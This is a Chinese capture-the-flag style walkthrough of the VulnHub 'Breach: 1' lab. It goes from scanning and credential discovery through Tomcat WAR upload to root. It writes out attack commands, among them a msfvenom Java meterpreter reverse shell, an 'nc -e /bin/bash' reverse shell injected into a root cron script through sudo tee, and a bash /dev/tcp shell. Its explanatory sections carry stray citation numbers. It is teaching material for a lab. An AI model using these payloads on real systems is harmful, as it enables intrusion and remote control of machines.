Breach: 1
来自 <Breach: 1 ~ VulnHub>
描述:
1,首先给kali-linux添加一块网卡,将这块网卡配置为仅主机模式。
然后配置/etc/network/interfaces,添加内容
然后重启网络
systemctl status networking.service
这个时候kali就拥有了两个IP
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.110.0/24
那么攻击机IP为192.168.110.128,靶场IP192.168.110.140
3,对靶机进行端口服务探测
nmap 192.168.110.140
几乎开放了所有端口
4,访问80端口的http服务
查看页面源代码
将源码中的内容使用burpsuite decoder模块进行二次base64解码
得到pgibbons:damnitfeel$goodtobeagang$ta
5,点击图片会发生页面跳转 http://192.168.110.140/initech.html
然后访问发现存在一个CMS系统
http://192.168.110.140/impresscms/user.php
ImpressCMS 是一款基于 MySQL 数据库的模块化开源内容管理系统(CMS),最初于 2007 年从 XOOPS 项目分叉而来,专注于灵活性和扩展性。其核心设计理念是通过独立模块管理网站内容,允许用户按需安装功能模块(如新闻发布、论坛、相册等),从而构建个性化的网站平台。以下是其核心特性与应用场景的详细介绍:
一、核心特性
- 模块化架构
ImpressCMS 的核心优势在于其高度模块化的设计。用户可以通过安装预置或第三方模块(如新闻发布、论坛、投票系统等)扩展网站功能,且每个模块独立运行,互不干扰14。这种设计使得系统维护和更新更为灵活。 - 数据库驱动与 MySQL 集成
系统依赖 MySQL 数据库存储数据,支持高效的数据管理和检索。用户需在配置阶段设置数据库连接参数(如服务器地址、用户名等),并可通过缓存机制和 SSL 加密优化性能与安全性24。 - 用户与权限管理
提供精细化的用户组权限控制,支持本地注册或 LDAP 认证,允许管理员按组限制内容访问、设置操作权限,并支持用户个性化设置(如主题切换、头像上传)14。 - 多语言与模板自定义
内置多语言支持(包括中文、日语等),并允许通过模板自定义网站主题布局,满足国际化需求与品牌化设计19。 - 安全性与漏洞修复
尽管存在历史安全漏洞(如 CVE-2021-28088 注入漏洞),但社区持续修复问题。例如,1.3.10 版本修复了核心和外部库的安全漏洞,并增强了对 PHP 5.3 的兼容性81013。
6,使用信息收集得来的密码尝试登录,登录成功 pgibbons:damnitfeel$goodtobeagang$ta
信息收集,阅读一下三个邮件
第三条提示访问一个URL
http://192.168.110.140/.keystore
点击成功下载这个文件keystore文件
Keystore 文件是一种用于安全存储加密密钥和数字证书的容器文件,常见于软件开发、数据加密和身份认证场景。它在不同平台和用途中略有差异,但核心功能是保护敏感密钥信息。
1. Keystore 的核心作用
- 密钥管理:存储私钥(Private Key)和对应的数字证书(Certificate),确保其不被泄露。
- 身份认证:通过证书验证开发者或系统的身份(如 Android 应用签名)。
- 数据加密:用于 TLS/SSL 通信、文件加密等场景。
2. Keystore 的常见类型
类型 | 格式/扩展名 | 典型用途 | 特点 |
JKS | .jks | Java 应用(传统格式) | 由 Java keytool 生成,需密码保护 |
PKCS12 | .p12 或 .pfx | 跨平台(现代推荐格式) | 支持更安全的加密算法,兼容性更好 |
BKS | .bks | Android 旧版本客户端证书存储 | 使用 Bouncy Castle 加密库 |
Android KeyStore | 系统级存储 | Android 应用密钥管理 | 密钥由硬件安全模块(HSM)保护 |
3. 典型应用场景
① Android 应用签名
- 用途:发布 APK 时,需用 Keystore 中的私钥对应用签名,确保:
- 身份唯一性:防止他人冒充开发者。
- 更新连续性:同一 Keystore 签名的应用才能覆盖安装。
- 风险:若丢失 Keystore,无法更新应用,需重新发布(用户需卸载旧版本)。
② HTTPS 服务器配置
- 用途:存储 SSL/TLS 证书(如 .p12 文件),用于 Web 服务器(Nginx、Tomcat)配置 HTTPS。
- 示例:
# 将 PKCS12 文件配置到 Nginx
ssl_certificate /path/to/cert.p12;
ssl_certificate_key /path/to/cert.key;
③ Java 应用加密通信
- 用途:在 Java 程序中加载 Keystore,实现双向 TLS 认证或数据加密。
- 代码示例:
KeyStore ks = KeyStore.getInstance("PKCS12");
ks.load(new FileInputStream("keystore.p12"), "password".toCharArray());
4. Keystore 的生成与管理
生成方式
- 命令行(keytool):
# 生成 JKS 格式 Keystore
keytool -genkeypair -alias mykey -keyalg RSA -keystore mykeystore.jks -validity 365
# 生成 PKCS12 格式 Keystore
keytool -importkeystore -srckeystore mykeystore.jks -destkeystore mykeystore.p12 -deststoretype PKCS12 - Android Studio:
通过 Build > Generate Signed Bundle/APK 向导生成或使用现有 Keystore。
关键参数
参数 | 说明 |
-alias | 密钥别名(用于区分多个密钥) |
-keyalg | 密钥算法(如 RSA、ECC) |
-validity | 证书有效期(天数) |
-storepass | Keystore 密码 |
-keypass | 私钥密码(可与 storepass 不同) |
5. 安全注意事项
- 密码强度:使用强密码(12位以上,含大小写、数字、符号)。
- 备份策略:将 Keystore 文件加密后存储在多个安全位置(如离线硬盘、云存储)。
- 权限控制:限制文件访问权限(如 Linux 下 chmod 600 mykeystore.jks)。
- 避免硬编码:切勿将 Keystore 密码写在代码或配置文件中!
7,keystore可以认为是存放秘钥的一个包,需要提供正确的密码才能将包里的秘钥取出来。 SSL证书也可以被存放在keystore中,需要找到密码才能得到SSL证书。SSL加密HTTP协议(HTTPS),进行身份认证和数据加解密,没有正确的SSL证书就无法破解http数据包的内容。 home家 里面发现内容SSL可点击
然后再点击访问这个URL http://192.168.110.140/impresscms/_SSL_test_phase1.pcap
密钥和密码都为 tomcat
8,利用java环境导出keystore证书,密码tomcat
keytool -list -keystore keystore
keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat
命令功能
此命令用于 将源 Keystore(keystore)中指定别名(tomcat)的密钥条目导入到目标 PKCS12 格式的 Keystore(tomcatkeystore.p12),核心操作是 密钥迁移与格式转换。
参数解析
参数 | 作用 | 隐含规则 |
-importkeystore | 触发密钥库导入操作,允许跨格式迁移密钥。 | 默认从源库复制全部条目,但通过 -srcalias 可限定仅复制特定条目。 |
-srckeystore keystore | 指定源 Keystore 文件路径(默认当前目录)。 | 若未声明 -srcstoretype,keytool 根据文件扩展名或默认类型(如 JKS)推断源库格式。 |
-destkeystore tomcatkeystore.p12 | 定义目标 Keystore 文件名(.p12 扩展名通常关联 PKCS12 格式)。 | 若目标文件已存在,需确认覆盖;若不存在,自动创建。 |
-deststoretype pkcs12 | 强制目标 Keystore 使用 PKCS12 格式(现代标准,取代传统 JKS)。 | PKCS12 支持更安全的加密算法(如 AES),且跨平台兼容性更佳。 |
-srcalias tomcat | 仅导入源库中别名为 tomcat 的密钥条目(私钥+证书链)。 | 若省略此参数,默认导入源库中所有条目。 |
执行流程与交互
- 输入源 Keystore 密码
命令执行后,会提示输入源库(keystore)的密码(-srcstorepass 未显式指定时需手动输入)。 - 输入目标 Keystore 密码
若目标库(tomcatkeystore.p12)为新文件,需设置并确认新密码;若已存在,需输入其原有密码。 - 私钥密码处理
- 若源库中 tomcat 条目的私钥密码与源库密码相同,可能直接继承。
- 若不同,需额外输入私钥密码(或通过 -srckeypass 指定)。
全部输入tomcat即可
9,Wireshark分析_SSL_test_phase1.pcap
点击编辑-->首选项-->
Protocols-->SSL/TLS(如果没有SSL(旧版)就选TLS(新版本))-->Edit(添加192.168.110.140 8843 http 密钥 tomcat)
配置之后成功解密被加密的流量
在这些流量中找到明文密码,tomcat:Tt\5D8F(#!*u=G)4m7zB
10,使用burp suite代理绕过拦截网站,首先访问
https://192.168.110.140:8443/_M@nag3Me/html
发现打不开,可能是被浏览器的安全机制拦截证书了,那么就使用butpsuite进行代理访问
用户名密码tomcat:Tt\5D8F(#!*u=G)4m7zB,在burpsuite数次放包之后,成功登录到网站
服务类型:Apache Tomcat 服务器的管理后台(默认路径通常为 /manager/html)。
核心功能:
- 应用管理:部署(Deploy)、启动/停止(Start/Stop)、卸载(Undeploy)Web 应用(如 WAR 文件)。
- 会话监控:查看活跃会话数(Sessions)及空闲会话过期设置。
- 服务器状态:检查运行中的应用状态(如 /_M@naq3Me 和 /host-manager 当前正在运行)
一、Burp Suite 代理的核心原理
Burp Suite 作为中间人(Man-in-the-Middle)代理,拦截并修改客户端(浏览器)与服务器之间的流量,具体功能包括:
- 流量拦截:捕获 HTTP/HTTPS 请求和响应,支持实时修改(如参数篡改、头信息注入)25。
- 证书处理:自动生成 CA 证书,解密 HTTPS 流量(需浏览器信任 Burp 的 CA)7。
- 会话管理:维持会话状态,绕过登录认证或防御机制(如 CSRF Token 校验)4。
二、Breach 1.0 中 Burp Suite 的技术操作
1. 绕过 HTTPS 证书拦截
- 场景:在靶场中访问 https://192.168.110.140:8443/_M@nag3Me/html 时,浏览器会因自签名证书或证书不匹配而拦截访问。
- 操作步骤:
- 配置浏览器代理:将浏览器代理设置为 Burp Suite(默认 127.0.0.1:8080)25。
- 导入 Burp CA 证书:通过 http://burp 下载并安装 CA 证书,解决 HTTPS 证书信任问题。
- 拦截并放行请求:在 Burp 的 Proxy → Intercept 中捕获请求后点击 Forward,绕过浏览器安全警告47。
2. 解密并利用 HTTP Basic 认证
- 场景:通过 Wireshark 解密流量后,发现 Tomcat 后台使用 HTTP Basic 认证(Base64 编码的凭据)。
- 操作步骤:
- 捕获认证请求:在 Burp 中拦截登录请求,提取 Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC。
- 解码凭据:使用 Burp 的 Decoder 模块解码 Base64,得到明文 tomcat:Tt\5D8F(#!*u=G)4m7zB75。
- 重放请求:将凭据填入浏览器或直接通过 Burp 的 Repeater 模块发送请求,登录 Tomcat 管理后台4。
3. 上传 WAR 木马并绕过防御
- 场景:Tomcat 后台允许上传 WAR 文件,但靶机存在定时任务(tidyup.sh)删除恶意文件。
- 操作步骤:
- 生成反弹 Shell:使用 msfvenom 生成 WAR 格式的反弹 Shell:
msfvenom -p java/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=5555 -f war -o shell.war - 拦截上传请求:在 Burp 中捕获文件上传请求,确保 WAR 文件格式正确(避免因压缩格式错误导致部署失败)7。
- 快速部署与触发:上传后立即访问 Shell 路径(如 /shell/shell.jsp),同时启动 msfconsole 监听,避免文件被删除45。
- 生成反弹 Shell:使用 msfvenom 生成 WAR 格式的反弹 Shell:
三、关键技巧与注意事项
- 代理链配置:
- 若靶场存在网络隔离(如仅主机模式),需确保攻击机与靶机在同一网段,并配置 Burp 代理为透明模式2。
- 流量过滤:
- 在 Proxy → Options 中设置作用域(Scope),仅拦截目标域名或 IP,减少干扰6。
- 防御绕过:
- 修改 User-Agent 或添加伪造头信息(如 X-Forwarded-For),规避 WAF 或 IPS 检测47。
四、总结
在 Breach 1.0 中,Burp Suite 的核心作用是通过代理机制突破加密通信限制、提取敏感信息(如认证凭据),并辅助漏洞利用(如文件上传)。其技术难点在于 HTTPS 证书信任 和 快速操作以绕过防御机制。实际渗透中需结合 Wireshark 解密流量、Metasploit 生成载荷,形成完整的攻击链257。
11,存在上传文件的位置,使用msf进行反弹shell()
针对网站生成对应的反弹shell脚本
然后msfconsole打开对4444端口的监听
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 4444
run
依然使用burpsuite做代理,然后上传文件放包直到成功
依然是选择/tomcat将内容分享burpsuite代理,然后迅速放包。成功getshell
12,然后使用python启动一个可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
接着信息收集一下
然后寻找网页根目录内容
cd /var/www/5446
cat 0d93f85c5061c44cdffeb8381b2772fd.php
得到数据库配置文件中的密码为空
13,登录一下mysql,信息收集一下
show databases;
use mysql;
show tables;
select user,password from user;
exit
得到了两个用户名密码
milton/6450d89bd3aff1d893b85d3ad65d2ec2
debian-sys-maint/*A9523939F1B2F3E72A4306C34F225ACF09590878
破解得到用户milton的明文密码thelaststraw
14,su横向移动到用户milton
然后信息收集一下
http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg
将图片下载到kali linux,使用strings打印各图片其中的可打印字符,追加输出到images.txt
查看发现密码在bill.png图片中。因为还有一个用户不知道密码,应该就是他的
然后再横向移动到blumbergh用户,密码:coffeestains
信息收集一下。查看历史命令,发现/usr/share/cleanup和tidyup.sh脚本文件
cat .bash_history
查看并且分析一下脚本
1. cd /var/lib/tomcat6/webapps
- 作用:切换工作目录到 /var/lib/tomcat6/webapps(Tomcat 默认的 Web 应用部署目录)。
- 风险:如果目录不存在或权限不足,命令将终止(因 && 逻辑符要求前序命令成功执行)。
2. find swingline -mindepth 1 -maxdepth 10
- 作用:在 swingline 目录中搜索满足以下条件的文件/目录:
- -mindepth 1:忽略 swingline 自身,只处理其子内容。
- -maxdepth 10:限制搜索深度为 10 层子目录(防止无限递归)。
- 输出:列出 swingline 下所有子文件和目录的路径。
3. xargs rm -rf
- 作用:将 find 的输出作为参数传递给 rm -rf,强制删除所有匹配项。
- 风险:rm -rf 无确认提示,直接删除数据且不可恢复。
二、执行效果
- 保留 swingline 目录
由于 -mindepth 1,swingline 目录本身不会被删除,但内部所有文件和子目录会被清空。 - 删除范围
清除 swingline 下最多 10 层深度的所有内容(适用于绝大多数 Web 应用结构)。 - Tomcat 影响
如果 swingline 是已部署的 Web 应用,删除其内容后,Tomcat 将无法运行该应用(需重新部署)。
15,对于定时任务,是可以写脚本进行恶意权限提升的,但是这个文件属于root,无法写入
sudo -l看一下
分析允许这个用户一root权限使用tee和执行tidyup.sh。那么就可以反弹root权限shell,获取flag
14,向tidyup.sh中写入反弹shell命令。虽然tidyup.sh文件只有root可写,但是目前的用户而能够sudo以root权限运行tee命令,那么就可以用tee命令写tidyup.sh。首先在攻击机上写恶意脚本,然后开启http服务
echo "nc -e /bin/bash 192.168.110.128 1234" > shell.txt
python -m http.server
然后靶机下载恶意文件
wget http://192.168.110.128:8000/shell.txt
再使用tee命令将shell.txt内容输出到tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看tidyup.sh文件写入成功:
cat /usr/share/cleanup/tidyup.sh
然后kali linux必须先另启终端对234端口进行nc监听,最后成功获得root权限,get到flag
nc -lvvp 1234
渗透测试知识总结
一、信息收集与初始访问
- 端口扫描与服务识别
- 使用 Nmap 对目标 IP 进行端口扫描(如 nmap -v -A),发现开放端口(如 80、8443),但靶机可能通过混淆手段显示虚假开放端口167。
- 直接访问 HTTP 服务(80 端口),通过查看网页源码获取隐藏的 Base64 编码字符串,多次解码后得到用户凭据(如 pgibbons:damnitfeel...),用于登录 CMS 系统127。
- CMS 漏洞利用
- 登录 ImpressCMS 后,通过收件箱邮件获取关键信息(如 SSL 证书 .keystore 文件路径 192.168.110.140/.keystore)17。
- 利用 Exploit-DB 查找 CMS 漏洞(如 SQL 注入),但因权限限制需转向其他攻击路径16。
二、加密流量分析与证书管理
- SSL/TLS 解密与密钥处理
- 使用 keytool 工具(Java 环境)管理密钥库:
- 查看证书信息:keytool -list -keystore keystore(密码为 tomcat)。
- 转换格式:将 JKS 转换为 PKCS12(keytool -importkeystore),以便在 Wireshark 中解密 HTTPS 流量17。
- Wireshark 配置:导入 PKCS12 证书并设置 SSL 解密规则,解析捕获的流量包(如 _SSL_test_phase1.pcap),发现 Tomcat 后台的 HTTP Basic 认证凭据17。
- 使用 keytool 工具(Java 环境)管理密钥库:
- HTTP Basic 认证绕过
- 从流量包中提取 Base64 编码的认证头(如 Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC),解码后得到 Tomcat 管理界面的用户名和密码(tomcat:Tt\5D8F...)17。
三、Web 应用漏洞利用与 Shell 获取
- Tomcat 后台利用
- 登录 Tomcat 管理界面(https://192.168.110.140:8443/_M@nag3Me/html),通过 WAR 文件上传 部署恶意 JSP 木马:
- 使用 msfvenom 生成反弹 Shell 的 WAR 文件(如 java/meterpreter/reverse_tcp)。
- 注意文件格式:需压缩为 ZIP 后重命名为 .war,避免部署失败17。
- 上传后访问木马路径(如 /shell/shell.jsp),但需快速触发 Shell 以避免文件被定时任务删除12。
- 登录 Tomcat 管理界面(https://192.168.110.140:8443/_M@nag3Me/html),通过 WAR 文件上传 部署恶意 JSP 木马:
- 防御绕过与持久化
- 发现靶机存在定时清理脚本 tidyup.sh,需通过 反弹 Shell(如 bash -i >& /dev/tcp/攻击机IP/端口 0>&1)维持访问17。
- 使用 Netcat 监听端口接收反弹的 Shell,并通过 python -c 'import pty;pty.spawn("/bin/bash")' 升级为交互式终端12。
四、权限提升与提权技巧
- 数据库与用户密码破解
- 在 Web 目录(如 /var/www/5446)发现数据库配置文件,连接 MySQL 获取用户哈希(如 milton 的 SHA1 哈希),通过在线工具(如 Somd5)破解为明文密码(如 thelaststraw)17。
- 切换用户后,通过分析图片元数据(如 strings 命令)发现 blumbergh 用户的密码(coffeestains)27。
- SUID 与 Sudo 提权
- 利用 sudo -l 检查可执行命令,发现 tee 命令能以 root 权限写入文件。
- 通过注入恶意命令到 tidyup.sh(如 echo "nc -e /bin/bash 攻击机IP 端口" | sudo tee),触发反弹 Shell 获取 root 权限127。